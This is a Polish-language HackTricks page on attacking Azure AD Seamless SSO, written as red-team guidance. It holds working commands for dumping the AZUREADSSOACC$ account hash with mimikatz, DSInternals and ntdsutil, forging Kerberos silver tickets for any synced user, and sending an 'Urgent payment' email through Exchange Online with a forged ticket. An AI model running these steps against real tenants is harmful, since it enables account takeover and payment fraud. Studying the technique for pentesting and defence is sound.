Az - Seamless SSO

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Z dokumentacji: Azure Active Directory Bezproblemowe Jednokrotne Logowanie (Azure AD Seamless SSO) automatycznie loguje użytkowników, gdy są na swoich firmowych urządzeniach podłączonych do sieci korporacyjnej. Po włączeniu tej funkcji użytkownicy nie muszą wpisywać swoich haseł, aby się zalogować do Azure AD, a zazwyczaj nawet nie muszą wpisywać swoich nazw użytkowników. Ta funkcja zapewnia użytkownikom łatwy dostęp do aplikacji opartych na chmurze bez konieczności posiadania dodatkowych komponentów lokalnych.

W zasadzie Azure AD Bezproblemowe SSO loguje użytkowników, gdy są na komputerze dołączonym do domeny lokalnej.

Jest obsługiwane zarówno przez PHS (Synchronizacja skrótu hasła), jak i PTA (Przekazywanie uwierzytelniania).

Desktop SSO używa Kerberosa do uwierzytelniania. Po skonfigurowaniu, Azure AD Connect tworzy konto komputera o nazwie AZUREADSSOACC$ w AD lokalnym. Hasło konta AZUREADSSOACC$ jest wysyłane w postaci tekstu jawnego do Azure AD podczas konfiguracji.

Bilety Kerberosaszyfrowane za pomocą NTHash (MD4) hasła, a Azure AD używa wysłanego hasła do odszyfrowania biletów.

Azure AD udostępnia punkt końcowy (https://autologon.microsoftazuread-sso.com), który akceptuje bilety Kerberosa. Przeglądarka komputera dołączonego do domeny przekazuje bilety do tego punktu końcowego dla SSO.

Lokalnie -> chmura

Hasło użytkownika AZUREADSSOACC$ nigdy się nie zmienia. Dlatego administrator domeny mógłby skompromitować skrót tego konta, a następnie użyć go do tworzenia srebrnych biletów w celu połączenia się z Azure z dowolnym zsynchronizowanym użytkownikiem lokalnym:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Z haszem możesz teraz generować srebrne bilety:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Aby skorzystać z biletu srebrnego, należy wykonać następujące kroki:

  1. Uruchomienie przeglądarki: Należy uruchomić przeglądarkę Mozilla Firefox.

  2. Konfiguracja przeglądarki:

  3. Dostęp do aplikacji internetowej:

    • Odwiedź aplikację internetową zintegrowaną z domeną AAD organizacji. Przykładem może być Office 365.

  4. Proces uwierzytelniania:

    • Na ekranie logowania należy wprowadzić nazwę użytkownika, pozostawiając pole hasła puste.

    • Aby kontynuować, naciśnij TAB lub ENTER.

To nie omija MFA, jeśli jest włączone

Tworzenie biletów Kerberos dla użytkowników tylko w chmurze

Jeśli administratorzy Active Directory mają dostęp do Azure AD Connect, mogą ustawić SID dla dowolnego użytkownika chmury. W ten sposób bilet Kerberos może być utworzony również dla użytkowników tylko w chmurze. Jedynym wymaganiem jest, aby SID był właściwym SID.

Zmiana SID użytkowników administrujących tylko w chmurze jest teraz zablokowana przez firmę Microsoft. Aby uzyskać informacje, sprawdź https://aadinternals.com/post/on-prem_admin/

Z lokalnej sieci -> Chmura za pośrednictwem Delegacji Ograniczonej na Podstawie Zasobów

Każdy, kto może zarządzać kontami komputerów (AZUREADSSOACC$) w kontenerze lub OU, w którym znajduje się to konto, może skonfigurować delegację ograniczoną na podstawie zasobów na koncie i uzyskać do niego dostęp.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated